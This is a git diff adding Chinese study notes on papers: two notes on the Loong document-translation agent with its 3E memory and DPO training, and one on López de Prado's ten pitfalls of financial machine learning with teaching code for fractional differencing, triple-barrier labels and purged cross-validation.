+    entity_cands = {k: v for k, v in memory.entities.items() if k in segment_src}
+    return essence_cands, exemplar_cands, entity_cands
+
+# --- 模拟翻译两段的 Doc2Doc 循环 ---
+memory = ThreeEMemory()
+
+segments = [
+    "Captain Borlatin Xiao led the squad. Korren was his lieutenant.",
+    "The armored unit moved toward Nemic. Borlatin Xiao gave the order.",
+]
+
+for seg in segments:
+    ess, ex, ent = retrieve_candidates(memory, seg)
+    # Loong 在此调用 Observe-and-Act LLM，从 ess/ex/ent 中再「思考+筛选」
+    prompt_context = {"essence": ess, "exemplar": ex, "entity": ent}
+    tgt_seg = f"[TRANSLATED] {seg}"  # 占位：真实系统走对齐强制 LLM 调用
+    memory.update_after_segment(
+        src_sents=seg.split(". "),
+        tgt_sents=[tgt_seg],
+        summary=f"Summary of: {seg[:40]}...",
+    )
+    print("segment:", seg[:50], "...")
+    print("  retrieved essences:", len(ess), "exemplars:", len(ex))
+```
+
+要点：**检索只是候选池**；Loong 的价值在下一步 Agent **拒绝无关条目**（论文案例：10 个实体候选 prune 到 2 个，并丢弃与 record 5 重复的 record 10）。
+
+---
+
+## 代码示例 2：Observe-and-Act 偏好对构造（对应 §3.2）
+
+训练数据来自「同一观察 \(O_k\) 下，不同动作 \(A_k\) 导致不同翻译质量」。下面演示效用 \(U(A)\) 与 preferred/dispreferred 的选取逻辑（公式 3–4）。
+
+```python
+import random
+from statistics import mean
+
+def comet_score(src: str, hyp: str, ref: str) -> float:
+    """占位：论文用 wmt22-comet-da 作为 μ。"""
+    # 真实实现调用 Unbabel/COMET
+    overlap = len(set(hyp.split()) & set(ref.split())) / max(len(ref.split()), 1)
+    return 80.0 + 10.0 * overlap + random.uniform(-0.5, 0.5)
+
+def sample_translations(src: str, context_subset, n: int = 5) -> list[str]:
+    """给定选中上下文，采样 n 个翻译（论文 N=5）。"""
+    return [f"hyp_{i}_with_{len(context_subset)}_ctx" for i in range(n)]
+
+def build_selection_preference(observation: dict, actions: list[dict], src: str, ref: str):
+    """对同一步 k，从 M 个动作中选 U 最高/最低，构成 D_sel 样本。"""
+    utilities = []
+    for act in actions:
+        hyps = sample_translations(src, act["selected"])
+        u = mean(comet_score(src, h, ref) for h in hyps)
+        utilities.append((act, u))
+    best = max(utilities, key=lambda x: x[1])
+    worst = min(utilities, key=lambda x: x[1])
+    return {
+        "observation": observation,
+        "preferred": best[0],
+        "dispreferred": worst[0],
+        "u_plus": best[1],
+        "u_minus": worst[1],
+    }
+
+# 模拟 Step 1：从 4 条 Essence 摘要中选子集（M=7 种动作，这里只演示 3 种）
+src_segment = "Korren reported to Captain Borlatin Xiao."
+ref_segment = "科伦向博拉丁·肖上尉作了汇报。"
+
+candidate_summaries = [
+    "Squad leadership and ranks in chapter 1",
+    "Weather report from previous chapter",      # 噪声
+    "Armored unit deployment near Nemic",
+    "Character name spellings: Korren, Borlatin Xiao",
+]
+
+actions = [
+    {"thought": "Summary 1,4 mention ranks and names.", "selected": [0, 3]},
+    {"thought": "Use all summaries.", "selected": [0, 1, 2, 3]},  # 含噪声 → 通常更差
+    {"thought": "Only summary 2.", "selected": [1]},
+]
+
+pref = build_selection_preference(
+    observation={"step": 1, "candidates": candidate_summaries},
+    actions=actions,
+    src=src_segment,
+    ref=ref_segment,
+)
+
+print("preferred utility:", pref["u_plus"])
+print("dispreferred utility:", pref["u_minus"])
+print("preferred selection indices:", pref["preferred"]["selected"])
+```
+
+构造出的三元组 \((O_k, A_k^+, A_k^-)\) 与 \((\langle s_\tau, \mathcal{C}_k \rangle, t^+, t^-)\) 一起送入 **SFT → DPO**。推理时不再采样 \(M\times N\) 次，每步**一次** Observe-and-Act 即可。
+
+---
+
+## 实验结果速览
+
+### 主结果（Table 2）
+
+在 News Commentary V18.1 与 WMT24++ 上，Loong 在 **sCOMET / dCOMET / LLM-as-Judge** 三项平均上 consistently SOTA。例如 Qwen3-8B、Xx⇒En、WMT24++：**LLM 分 83.5**，DelTA 为 81.1。
+
+### 消融（Table 3，Llama3.1-8B En⇒Xx）
+
+| 设置 | Avg | 解读 |
+|------|-----|------|
+| Loong 完整 | 80.2 | — |
+| w/o Context（只学翻译） | 77.4 | 证明「学策略」比「多看译文」重要 |
+| w/o Translation（只学选择） | 63.6 | 选择与利用必须联合训练 |
+| w/o Tuning | 75.4 | 微调必要 |
+| w/o Essence | 79.0 | 全局摘要最关键 |
+| w/o Exemplar | 79.3 | 文体例句重要 |
+| w/o Entity | 79.7 | 术语一致性 |
+
+### 超长文档（《西游记》→ 葡萄牙语，Figure 1）
+
+Doc2Doc 在中途因上下文长度**翻译失败**；DelTA 等指标随长度**持续下滑**；Loong 凭结构化记忆 + selective retrieval **全程稳定**，累积 sCOMET / LLM 分最高。
+
+---
+
+## 与相关工作的关系
+
+```text
+Doc2Sent（邻句编码）     → 目标侧上下文利用不足
+Doc2Doc（历史堆 prompt） → 窗口与噪声
+DelTA（3E 记忆 + 检索）  → Loong 的直接前驱，缺「过滤」
+Think-and-Translate RL  → 句级推理翻译；Loong 扩展到 DocMT + 多步 Observe-and-Act
+DeepSeek-R1 / o1 范式   → Loong 把「采样轨迹 + 偏好优化」用到上下文策略
+```
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 技术手册、新闻、小说等**长文档**机翻
+- 需要**术语一致、文体统一、跨段指代**的场景
+- 已有开源 LLM、希望用 **Agent + 记忆 + DPO** 提升 DocMT 而非换更大窗口
+- 研究 **自适应 RAG / 上下文压缩** 的 NLP 或 Agent 系统
+
+**局限**（论文 Limitation）：
+
+- 分段长度固定为 5 句，未对齐自然 discourse 边界
+- Observe-and-Act 多步推理 → **推理成本**高于 one-pass
+- 奖励模型 COMET 与人工文档级偏好可能有 gap
+- 实体抽取与六类属性维护增加 pipeline 复杂度
+
+---
+
+## 超参数备忘（复现实验）
+
+| 参数 | 值 |
+|------|-----|
+| 段长 \(l\) | 5 句 |
+| \(K_s, K_x\) | 4（超长文 Essence/Exemplar 可调至 8/6） |
+| 动作采样 \(M\) | 7 |
+| 翻译采样 \(N\) | 5 |
+| SFT | 1 epoch, lr 1e-5, batch 64, ZeRO-3 |
+| DPO | 1 epoch, lr 5e-6, batch 32, \(\beta=0.1\), LoRA r=8 |
+| max length | 2560 |
+| 推理 temperature | 0.7, top-p 1.0 |
+
+---
+
+## 踩过的坑（读论文时的常见误解）
+
+1. **Loong ≠ 更大 context window**：核心是**外部记忆 + 选择性注入**，不是把 128K 全塞满。
+2. **3E 检索 ≠ 最终上下文**：检索 top-K 只是候选；Observe-and-Act 还会**再删**。
+3. **RL 在这里主要是 DPO**：不是环境交互式 PPO；偏好来自**自己采样**的轨迹。
+4. **对齐算法不能省**：DocMT 评测依赖句对齐；不对齐则 dCOMET 与记忆更新都会失真。
+5. **Sentence 基线有时很强**：说明「加上下文」若带噪声，不如不加——Loong 的价值在**滤噪**。
+
+---
+
+## 自测题
+
+1. 3E 三个组件分别解决什么粒度的问题？
+2. 为什么 Observe-and-Act 要分三步而不是一次选出所有上下文？
+3. \(\mathcal{D}_{sel}\) 和 \(\mathcal{D}_{util}\) 分别优化 Agent 的哪种能力？
+4. DelTA 与 Loong 架构上最大差异是什么？
+5. 对齐强制算法在什么情况下递归二分？
+
+<details>
+<summary>参考答案（先自己做）</summary>
+
+1. Essence 管全局语义/体裁；Exemplar 管句式与文体模式；Entity 管专名与术语一致性。
+2. 联合选择空间指数级；分步将复杂度从 \(O(\prod 2^K)\) 降到 \(O(\sum 2^K)\)，且便于分析各记忆类型的贡献。
+3. \(\mathcal{D}_{sel}\)：**选什么**上下文；\(\mathcal{D}_{util}\)：**给定上下文怎么译**。
+4. DelTA 检索后**不过滤**；Loong 增加 Observe-and-Act 推理 + DPO 学习筛选策略。
+5. 当 LLM 输出段落的句数/分隔与源段不一致，且段内多于 1 句时，切半分别调用 \(T(\cdot)\) 直到对齐或单句。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arxiv.org/html/2605.30274v1](https://arxiv.org/html/2605.30274v1)
+- 代码：[github.com/YutongWang1216/LoongDocMT](https://github.com/YutongWang1216/LoongDocMT)
+- 前驱 DelTA（多粒度记忆 DocMT Agent）：Wang et al., 2025c
+- 指标：sCOMET / dCOMET（Unbabel COMET、amazon-science/doc-mt-metrics）
+- 同类思路：GraphRAG、长文 Agent 记忆、DPO 偏好优化
+
+---
+
+## 一句话总结
+
+**Loong 像带三本笔记本的资深译员：翻长文档时先检索、再思考、只把真正相关的摘要/例句/术语塞进当前 prompt，并用 DPO 把这套「观察—行动」策略练成肌肉记忆——在有限窗口下换得术语稳、文体齐、超长文不崩。**
diff --git a/src/content/docs/papers/loong-long-document-translation-agent-with-observe-and-act-arxiv-2605-30274.md b/src/content/docs/papers/loong-long-document-translation-agent-with-observe-and-act-arxiv-2605-30274.md
new file mode 100644
index 000000000..25bbb8078
--- /dev/null
+++ b/src/content/docs/papers/loong-long-document-translation-agent-with-observe-and-act-arxiv-2605-30274.md
@@ -0,0 +1,240 @@
+---
+title: Loong: 类人长文档翻译 Agent — Observe-and-Act 自适应上下文选择
+来源: https://arxiv.org/abs/2605-30274
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Loong: 类人长文档翻译 Agent 学习笔记
+
+## 一句话概括
+
+Loong 是一个能像人一样翻译长文档的 AI Agent——它不是把整篇文档一股脑塞给模型，而是通过"观察—行动"(Observe-and-Act)的方式，主动回忆之前看过的信息，智能选择最有用的上下文来指导翻译。
+
+## 从日常类比开始
+
+想象你在翻译一本 300 页的小说。
+
+**没有 Loong 的做法**：你把 300 页一次性交给翻译人员，但人的注意力有限——翻到第 280 页时，你早就忘了第 15 页里女主角的名字叫"艾琳"。
+
+**Loong 的做法**：你每次只翻译 1-2 页，但手边有三个笔记本：
+
+1. **精华本 (Essence)** — 之前每段的简要总结，类似目录提要
+2. **例句本 (Exemplar)** — 之前遇到过的相似句对，帮你参考翻译风格
+3. **人名地名本 (Entity)** — 记录所有专有名词的统一译名
+
+当你翻译第 200 页时，不会翻遍所有笔记，而是先"观察"当前句子需要什么信息，再"行动"去对应的本子里找最相关的几页。这就是 **Observe-and-Act**。
+
+## 核心问题：长文档翻译难在哪？
+
+大语言模型翻译短文本效果很好，但长文档有两个致命问题：
+
+1. **上下文窗口有限**：再大的模型也有"天花板"，300 页塞不进去
+2. **信息冗余**：就算勉强塞进去，模型也会淹没在大量无关信息中，反而翻译得更差
+
+传统的分块翻译 (Chunk-based Translation) 虽然解决了窗口限制，但各段之间容易脱节——同一个人被翻译成不同名字，前后语气不一致。
+
+## Loong 的解决方案：3E 记忆模块
+
+Loong 的核心创新在于 **3E Memory**，三个记忆维度各有分工：
+
+| 维度 | 全称 | 作用 | 类比 |
+|------|------|------|------|
+| **E**ssence | 精华记忆 | 之前段落的摘要总结 | 读书时的读书笔记 |
+| **E**xemplar | 例句记忆 | 历史上相似句子对的记录 | 翻译时的参考例句 |
+| **E**ntity | 实体记忆 | 人名、地名、术语的统一翻译 | 术语表和译名对照表 |
+
+这不是简单地"把所有历史信息堆在一起"。Loong 的关键在于：**它不会被动地让模型 attends 到所有历史，而是主动推理"现在到底需要什么"**。
+
+## Observe-and-Act：核心机制
+
+这是 Loong 最精华的部分。整个过程可以分成两个阶段：
+
+### 阶段一：Observe（观察）
+
+面对当前待翻译的句子，Agent 先问自己几个问题：
+
+- 这个句子提到了哪些实体？人名？地名？专业术语？
+- 之前的段落大概讲了什么？（查 Essence）
+- 有没有之前翻译过的相似句子可以参考？（查 Exemplar）
+- 这些实体之前是怎么翻译的？（查 Entity）
+
+### 阶段二：Act（行动）
+
+基于观察的结果，Agent 从三个记忆维度中**动态选择**最相关的信息，组装成一个精简的上下文，然后翻译。
+
+这个过程不是一次性的。翻译完一句后，新的信息会被写入 3E 记忆，供后面使用。整个流程可以反复循环：
+
+```
+观察当前句 → 查询 3E 记忆 → 选择最相关的上下文 → 翻译 → 写入新信息 → 回到观察
+```
+
+### 用代码理解这个过程
+
+下面的伪代码展示了 Loong Agent 的核心循环：
+
+```python
+class LoongAgent:
+    def __init__(self):
+        # 3E 记忆存储
+        self.essence_memory = []   # 段落摘要列表
+        self.exemplar_memory = []  # 相似句对列表
+        self.entity_memory = {}    # 实体 → 翻译对照表
+
+    def observe(self, source_sentence, index):
+        """
+        观察阶段：分析当前句子需要什么信息
+        """
+        # 提取句中的实体
+        entities = extract_entities(source_sentence)
+
+        # 查询三个记忆维度
+        relevant_essence = search(self.essence_memory, top_k=2)
+        relevant_exemplar = search(self.exemplar_memory, source_sentence, top_k=3)
+        relevant_entity = {e: self.entity_memory.get(e, None) for e in entities}
+
+        return {
+            "entities": entities,
+            "essence": relevant_essence,
+            "exemplar": relevant_exemplar,
+            "entity": relevant_entity,
+        }
+
+    def act(self, observation, source_sentence, llm):
+        """
+        行动阶段：基于观察构建上下文并翻译
+        """
+        context = build_context(observation)
+
+        # 构建 prompt，只包含最相关的信息
+        prompt = f"""
+        翻译以下句子，参考上下文：
+
+        【段落摘要】
+        {context['essence']}
+
+        【参考例句】
+        {context['exemplar']}
+
+        【实体对照】
+        {context['entity']}
+
+        源文本：{source_sentence}
+        """
+
+        translation = llm.complete(prompt)
+        return translation
+
+    def update_memory(self, source_sentence, translation, observation):
+        """
+        翻译后：将新信息写入 3E 记忆
+        """
+        # 更新实体记忆
+        for entity in observation['entities']:
+            if entity not in self.entity_memory:
+                translated_entity = extract_entity_translation(entity, translation)
+                self.entity_memory[entity] = translated_entity
+
+        # 存入例句记忆
+        self.exemplar_memory.append({
+            "source": source_sentence,
+            "target": translation
+        })
+
+    def translate_document(self, document, llm):
+        """
+        完整的翻译循环：逐句 Observe-and-Act
+        """
+        result = []
+        essence_window = []
+
+        for i, sentence in enumerate(document):
+            # 观察
+            observation = self.observe(sentence, i)
+
+            # 行动：翻译
+            translation = self.act(observation, sentence, llm)
+            result.append(translation)
+
+            # 更新记忆
+            self.update_memory(sentence, translation, observation)
+
+            # 定期更新精华记忆（段落摘要）
+            essence_window.append(sentence + " | " + translation)
+            if (i + 1) % 10 == 0:
+                summary = generate_summary("".join(essence_window))
+                self.essence_memory.append(summary)
+                essence_window = []
+
+        return result
+```
+
+## 强化学习：让 Agent 自己优化策略
+
+Loong 的 Observe-and-Act 不是一成不变的。它通过 **强化学习 (Reinforcement Learning)** 自动优化"如何选择上下文"的策略。
+
+具体做法是：Agent 自己生成多条"观察—行动"的推理轨迹 (trajectories)，然后从这些轨迹中构建偏好数据，训练自己做出更好的选择。
+
+这个过程的关键是 **self-generated preference data**——Agent 不需要人工标注数据，它用自己的输出作为训练信号。
+
+### RL 训练的简化示意
+
+```python
+# 生成多条 Observe-Act 轨迹
+trajectories = []
+for _ in range(num_samples):
+    observation = agent.observe(sentence, index)
+    context = build_context(observation)
+    translation = llm.complete(prompt_with_context)
+    score = evaluate_translation(translation)  # 用 BLEU/BERTScore 等评分
+    trajectories.append({
+        "observation": observation,
+        "translation": translation,
+        "score": score
+    })
+
+# 从高分为样本，低分为负样本，构建偏好对
+pref_data = construct_preference_pairs(trajectories)
+
+# 用偏好数据微调上下文选择策略
+policy = train_policy_with_dpo(pref_data)  # DPO = Direct Preference Optimization
+```
+
+## 关键成果
+
+论文中的实验结果很有说服力：
+
+- **多方向翻译提升**：英↔中、德、法三个翻译方向平均提升 **13.0 分**（跨越三个评估指标）
+- **领域泛化能力强**：在文学、技术、新闻等不同领域都有稳定提升
+- **抗噪声鲁棒**：即使记忆中混入无关信息，Loong 也能正确忽略
+- **超长文档稳定**：文档越长，传统方法越差，Loong 的表现越能保持
+
+## 为什么这个思路值得学习
+
+1. **Agent 范式的实用落地**：很多 AI Agent 研究停留在概念阶段，Loong 展示了一个完整的、可运行的 Agent 架构解决真实 NLP 问题
+2. **主动记忆 vs 被动记忆**：传统 RAG 是"把所有相关内容都塞进去"，Loong 是"先想清楚需要什么，再去拿"——更贴近人类的认知方式
+3. **Observe-and-Act 的通用性**：这个模式不仅适用于翻译，可以推广到代码生成、长文档摘要、多轮对话等任何需要上下文管理的任务
+
+## 总结对照表
+
+| 概念 | 解释 |
+|------|------|
+| Loong | 一个类人的长文档翻译 Agent |
+| 3E Memory | 精华 (Essence) + 例句 (Exemplar) + 实体 (Entity) 三层记忆 |
+| Observe | 分析当前翻译需求，查询记忆 |
+| Act | 根据观察结果选择最相关上下文，执行翻译 |
+| RL 优化 | Agent 用自己的推理轨迹生成偏好数据，优化选择策略 |
+| 核心优势 | 不是"记住更多"，而是"知道何时回忆什么" |
+
+## 延伸思考
+
+如果你要用 Loong 的思路做一个自己的 Agent（比如代码审查 Agent），可以套用同样的框架：
+
+- Essence 记忆 → 之前审查过的代码段摘要
+- Exemplar 记忆 → 之前发现过的相似 bug 及其修复
+- Entity 记忆 → 项目中的函数名、API 规范的统一理解
+- Observe-and-Act → 审查某段代码前先想想"这段代码可能出什么问题"，再针对性检查
+
+这种"**先想再查、按需回忆**"的认知模式，可能是 Agent 设计中最有价值的范式。
diff --git a/src/content/docs/papers/lopez-de-prado-trio-2018.md b/src/content/docs/papers/lopez-de-prado-trio-2018.md
new file mode 100644
index 000000000..0f9a12aa5
--- /dev/null
+++ b/src/content/docs/papers/lopez-de-prado-trio-2018.md
@@ -0,0 +1,244 @@
+---
+title: The 10 Reasons Most Machine Learning Funds Fail — 金融机器学习十大失败原因
+来源: https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3104816
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Marcos López de Prado 2018 年发表于 *Journal of Portfolio Management* 的短文（SSRN #3104816），系统总结了**金融机器学习（Financial ML）基金**高失败率的十个结构性错误。论文与同年出版的 *Advances in Financial Machine Learning*（AFML）一脉相承，可视为该书的「失败模式清单」。
+
+日常类比：想象你开了一家**用 AI 预测天气的旅行社**。普通 ML 教程教你在「每天固定整点」采样温度、用「是否下雨」当标签、反复调参直到回测漂亮——这在气象数据上也许可行。但金融市场更像**一团不断被新闻、算法和流动性搅动的雾**：信号极弱、样本不独立、标签互相重叠、同一套历史路径只能测一次。把 ImageNet 那套流程原封不动搬过来，相当于用拍证件照的方法预测台风路径——模型越灵活，**假阳性**产出越快。
+
+论文把十个陷阱分为四类（见 Exhibit 1）：
+
+| 类别 | 陷阱 | 对策 |
+|------|------|------|
+| 认识论 | ① 西西弗斯范式 | 元策略（Meta-Strategy）范式 |
+| 认识论 | ② 用回测做研究 | 特征重要性分析 |
+| 数据处理 | ③ 按日历时间采样 | 成交量时钟（Dollar Bars） |
+| 数据处理 | ④ 整数阶差分 | 分数阶差分（FracDiff） |
+| 标注 | ⑤ 固定时间 horizon 标签 | 三重屏障（Triple Barrier） |
+| 标注 | ⑥ 同时学方向与仓位 | 元标注（Meta-Labeling） |
+| 标注 | ⑦ 非 IID 样本等权 | 唯一性加权 + 序列自助法 |
+| 评估 | ⑧ 交叉验证泄漏 | Purging + Embargo |
+| 评估 | ⑨ 仅 Walk-Forward 回测 | 组合净化交叉验证（CPCV） |
+| 评估 | ⑩ 回测过拟合 | 收缩 Sharpe（DSR） |
+
+## 为什么重要
+
+- **量化基金失败率本就很高**，ML 赛道更高：灵活模型 + 低信噪比 ≈ 加速制造「看起来有效」的策略
+- 论文点破一个行业潜规则：**反复回测直到 Sharpe 好看**，在 ASA 伦理指南里接近学术不端；约 20 次迭代在 5% 显著性下就能「发现」假策略
+- 后续 AFML、mlfinlab、Hudson & Thames 等生态，很多工具（FracDiff、Triple Barrier、CPCV、Meta-Labeling）都从这里长出
+- 对零基础读者：即使不做基金，也能理解**为什么 Kaggle 冠军策略不能直接上实盘**——问题不在模型，在**数据构造、标签、验证协议**
+
+## 核心概念（按流水线理解）
+
+### 1. 西西弗斯范式 vs 元策略范式
+
+discretionary PM 各自为战、靠直觉下注可以分散风险；但把「雇 50 个 PhD、每人半年交一个策略」复制到 quant/ML，只会逼人在过拟合回测与拥挤因子之间二选一。元策略范式把研究拆成**流水线**：数据、特征、执行模拟、回测各自有质量标准，个人专精一环——像汽车工厂，而非每人从零造一辆车。
+
+### 2. 用回测做研究 → 用特征重要性做研究
+
+正确流程：`(X, y)` 上训练分类器 → 交叉验证看泛化 → **问哪些特征真正驱动性能** → 再设计经济解释与样本外检验。回测是**验收**，不是**搜索**；把回测当搜索工具，等价于对同一数据集做多次假设检验却不校正。
+
+### 3. 时间 Bar 的问题与 Dollar Bar
+
+市场按**信息到达**而非按秒表运行。固定 5 分钟 bar 在开盘 oversample、午间 undersample，带来序列相关与异方差。Dollar bar：每成交固定**美元名义金额**采一个观测，使 bar 频率更稳定，对拆股、回购等公司行为也更鲁棒。
+
+### 4. 分数阶差分：在平稳与记忆之间取平衡
+
+经典做法：`log return = diff(log price, 1)` 使序列平稳，但**抹掉过多记忆**，预测力随之消失。FracDiff 用阶数 `d ∈ (0,1)`：足够小则保留记忆，足够大则通过 ADF 检验。论文举例：E-mini S&P 500 对数价在 `d≈0.4` 时可拒绝单位根，且与原序列相关约 0.995；而 `d=1` 时相关仅 0.05——**几十年实证可能一直在用过差分数据**，从而「证明」市场不可预测。
+
+### 5. 三重屏障标签
+
+固定 horizon 标签（h 个 bar 后涨跌）忽略波动率差异与止损现实。三重屏障：**止盈线、止损线、垂直时间/活动屏障**；先触碰哪条决定标签。标签是**路径依赖**的，与真实交易退出逻辑一致。
+
+### 6. 元标注：方向与仓位解耦
+
+Primary 模型负责**买还是卖**（高 recall）；Secondary 模型学习「primary 的这次信号该不该跟」（提高 precision），只决定**仓位大小**。这样降低过拟合对整体行为的控制，也便于 quantamental（基本面 + ML）架构。
+
+### 7. 非 IID：唯一性加权
+
+标签常跨越多个 bar（重叠），像化验室**试管血样互相串了**。要对每个观测算「并发标签数」，给**唯一性高**的样本更大权重；自助抽样时优先抽高唯一性样本（Sequential Bootstrap）。
+
+### 8. Purging 与 Embargo
+
+标准 k-fold 在 finance 会**泄漏**：`t` 与 `t+1` 特征相关，标签又因重叠而相关，测试集信息漏进训练集。Purging：删掉训练集中与测试标签**时间重叠**的样本；Embargo：在测试段之后留一段**禁训区**，防止序列相关特征泄漏。
+
+### 9. CPCV vs Walk-Forward
+
+WF 只走**一条历史路径**，易对特定牛熊顺序过拟合；且早期决策只用很少数据。CPCV 在 N 组序列上枚举大量 train/test 组合，得到**多条回测路径**和 Sharpe **分布**，而非单点估计。
+
+### 10. 回测过拟合与 DSR
+
+在 `I` 个独立试验、真实 Sharpe=0 的情况下，**最大样本 Sharpe 的期望仍 >0**（类似 multiple testing）。Deflated Sharpe Ratio（DSR）把「试了多少策略」纳入显著性，修正选择偏差；PSR 则处理短样本、偏度、峰度对 Sharpe 推断的影响。
+
+## 代码示例 1：分数阶差分（FracDiff）
+
+下面用纯 NumPy 实现 FracDiff 权重与变换（教学用；生产环境可用 `mlfinlab` / `fracdiff` 包）：
+
+```python
+import numpy as np
+from statsmodels.tsa.stattools import adfuller
+
+def fracdiff_weights(d: float, size: int) -> np.ndarray:
+    """Binomial-style weights w_k for fractional differentiation order d."""
+    w = [1.0]
+    for k in range(1, size):
+        w.append(-w[-1] * (d - k + 1) / k)
+    return np.array(w)
+
+def fracdiff_series(x: np.ndarray, d: float, threshold: float = 1e-5) -> np.ndarray:
+    """
+    Apply FracDiff with weight cutoff.
+    x: 1-D price or log-price series.
+    """
+    w = fracdiff_weights(d, len(x))
+    # Drop negligible tail weights for speed
+    w = w[np.abs(w) > threshold]
+    width = len(w)
+    out = np.full(len(x), np.nan)
+    for i in range(width - 1, len(x)):
+        window = x[i - width + 1 : i + 1][::-1]  # x_t, x_{t-1}, ...
+        out[i] = np.dot(w, window)
+    return out
+
+# 演示：合成带趋势的价格序列
+np.random.seed(42)
+n = 2000
+log_price = np.cumsum(np.random.randn(n) * 0.01) + 0.0002 * np.arange(n)
+
+for d in [0.0, 0.3, 0.5, 1.0]:
+    fd = fracdiff_series(log_price, d)
+    valid = fd[~np.isnan(fd)]
+    adf_stat = adfuller(valid, maxlag=1, regression="c", autolag=None)[0]
+    corr = np.corrcoef(log_price[-len(valid):], valid)[0, 1]
+    print(f"d={d:.1f}  ADF={adf_stat:7.3f}  corr(original)={corr:.4f}")
+```
+
+**预期直觉**：`d=0` 非平稳；`d` 增大 ADF 更负（更平稳）但 `corr` 下降；存在某个 `d*` 在「拒绝单位根」与「保留记忆」之间折中——这正是论文对 E-mini 的核心论点。
+
+## 代码示例 2：三重屏障标签（简化版）
+
+```python
+import numpy as np
+import pandas as pd
+
+def triple_barrier_labels(
+    prices: pd.Series,
+    events: pd.DatetimeIndex,
+    pt_sl: tuple[float, float],  # profit-take / stop-loss multiples of vol
+    vol: pd.Series,
+    vertical_bars: int,
+) -> pd.DataFrame:
+    """
+    Path-dependent labels: +1 upper, -1 lower, 0 vertical (optional: use sign).
+    prices: close series indexed by time
+    events: entry timestamps (must exist in prices index)
+    vol: e.g. rolling std of returns, aligned to prices
+    """
+    records = []
+    idx = prices.index
+    for t0 in events:
+        if t0 not in idx:
+            continue
+        i0 = idx.get_loc(t0)
+        p0 = prices.iloc[i0]
+        sigma = vol.loc[t0]
+        if sigma <= 0 or np.isnan(sigma):
+            continue
+        upper = p0 * (1 + pt_sl[0] * sigma)
+        lower = p0 * (1 - pt_sl[1] * sigma)
+        label = 0
+        touch_time = idx[i0]
+        end = min(i0 + vertical_bars, len(prices) - 1)
+        for i in range(i0 + 1, end + 1):
+            p = prices.iloc[i]
+            if p >= upper:
+                label = 1
+                touch_time = idx[i]
+                break
+            if p <= lower:
+                label = -1
+                touch_time = idx[i]
+                break
+        else:
+            # vertical barrier first: label by return sign (paper's preference)
+            label = int(np.sign(prices.iloc[end] / p0 - 1)) or 0
+            touch_time = idx[end]
+        records.append({"t0": t0, "t1": touch_time, "label": label})
+    return pd.DataFrame(records).set_index("t0")
+
+# 用法示意
+# labels = triple_barrier_labels(close, events, pt_sl=(1.0, 1.0), vol=rolling_vol, vertical_bars=20)
+```
+
+与固定 horizon 标签相比，止盈/止损随**波动率缩放**，垂直屏障用 bar 数而非墙上时钟，更贴近「这笔交易何时被迫出场」。
+
+## 代码示例 3：Purging 训练集（概念）
+
+```python
+def get_label_span(label_row) -> tuple:
+    """label_row has t_start, t_end from triple barrier."""
+    return label_row["t_start"], label_row["t_end"]
+
+def purged_train_indices(train_idx, test_idx, labels_df):
+    """
+    Remove training samples whose label interval overlaps any test label interval.
+    labels_df indexed by event time with columns t_start, t_end.
+    """
+    test_spans = [get_label_span(labels_df.loc[i]) for i in test_idx]
+    keep = []
+    for i in train_idx:
+        ts, te = get_label_span(labels_df.loc[i])
+        overlap = any(not (te < t_s or ts > t_e) for t_s, t_e in test_spans)
+        if not overlap:
+            keep.append(i)
+    return keep
+
+# Embargo: additionally drop train samples with t_start in [test_end, test_end + h]
+```
+
+k-fold 在 finance 上必须配合 **Purging + Embargo**，否则 CV 分数会系统性乐观。
+
+## 与相关工作的关系
+
+- **Bailey & López de Prado (2014)**：PBO、DSR 的数学基础——「试策略次数」必须进入推断
+- **Easley, López de Prado & O'Hara (2011–2013)**：Volume Clock / Dollar Bars 的微观结构动机
+- **AFML (2018)**：各陷阱的完整算法与章节展开（第 2 章 bars、第 4 章采样权重、第 7 章 CPCV 等）
+- 与经典 **因子投资 / 线性回归**：论文开篇批评「只会协方差矩阵求逆」的 econometrics 范式；ML 应**引导理论**而非黑箱替代思考
+
+## 实践检查清单（零基础版）
+
+1. **组织**：是否是流水线协作，而非每人独立交策略？
+2. **研究循环**：是否在改特征/标签/protocol，而非改回测参数直到好看？
+3. **Bars**：是否仍只用 5min/1d 时间 bar？
+4. **差分**：特征是否一律用 `pct_change()`？
+5. **标签**：是否固定「20 根 bar 后涨跌」？
+6. **模型结构**：是否一个模型同时输出方向与仓位？
+7. **样本权重**：重叠标签是否等权进 CV？
+8. **CV**：是否标准 `KFold(shuffle=True)`？
+9. **回测**：是否只有一条 WF 路径、一个 Sharpe 数字？
+10. **显著性**：是否报告试了多少 variant、DSR/PSR 多少？
+
+## 局限与批判性阅读
+
+- 论文来自成功 quant 实践者的**规范清单**，部分方法（CPCV、FracDiff 最优 `d`）计算成本不低
+- 「ML 优于 econometrics」的论断有**生存者偏差**；失败基金不会写论文
+- 2018 年后深度学习、另类数据、LLM 特征工程带来新的过拟合面，但**验证协议问题**（泄漏、多重试验、非 IID）依旧
+- 零基础读者应先掌握：**标签定义 > 模型选择**；**验证设计 > 调参**
+
+## 小结
+
+López de Prado 的「十大原因」不是唱衰 ML，而是强调：**金融数据违反 ML 默认假设**。失败基金常见模式是——用 ImageNet 式流程，在极低信噪比、标签重叠、路径依赖的市场里，快速产出**统计幻觉**。解药是整套 **financial ML 协议**：Dollar bars、FracDiff、Triple barrier、Meta-labeling、Purged CV、CPCV、DSR。记住一句话：**在量化里，回测是终审法官，不是灵感搜索引擎。**
+
+## 延伸阅读
+
+- López de Prado, M. (2018). *Advances in Financial Machine Learning*. Wiley.
+- Bailey, D. & López de Prado, M. (2014). The deflated Sharpe ratio. *JPM*.
+- Hudson & Thames — mlfinlab 文档中对本文 Pitfall #1–#6 的实现说明
+- 本书库：[[kelly-criterion-1956]]（仓位与信息率）、因子与回测过拟合相关笔记
diff --git a/src/content/docs/papers/lottery-scheduling-1994.md b/src/content/docs/papers/lottery-scheduling-1994.md
new file mode 100644
index 000000000..c3e8b87a0
--- /dev/null
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@@ -0,0 +1,311 @@
+---
+title: Lottery Scheduling 1994 — 用「彩票」做按比例公平分配 CPU
+来源: https://www.usenix.org/legacy/publications/library/proceedings/osdi/full_papers/waldspurger.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
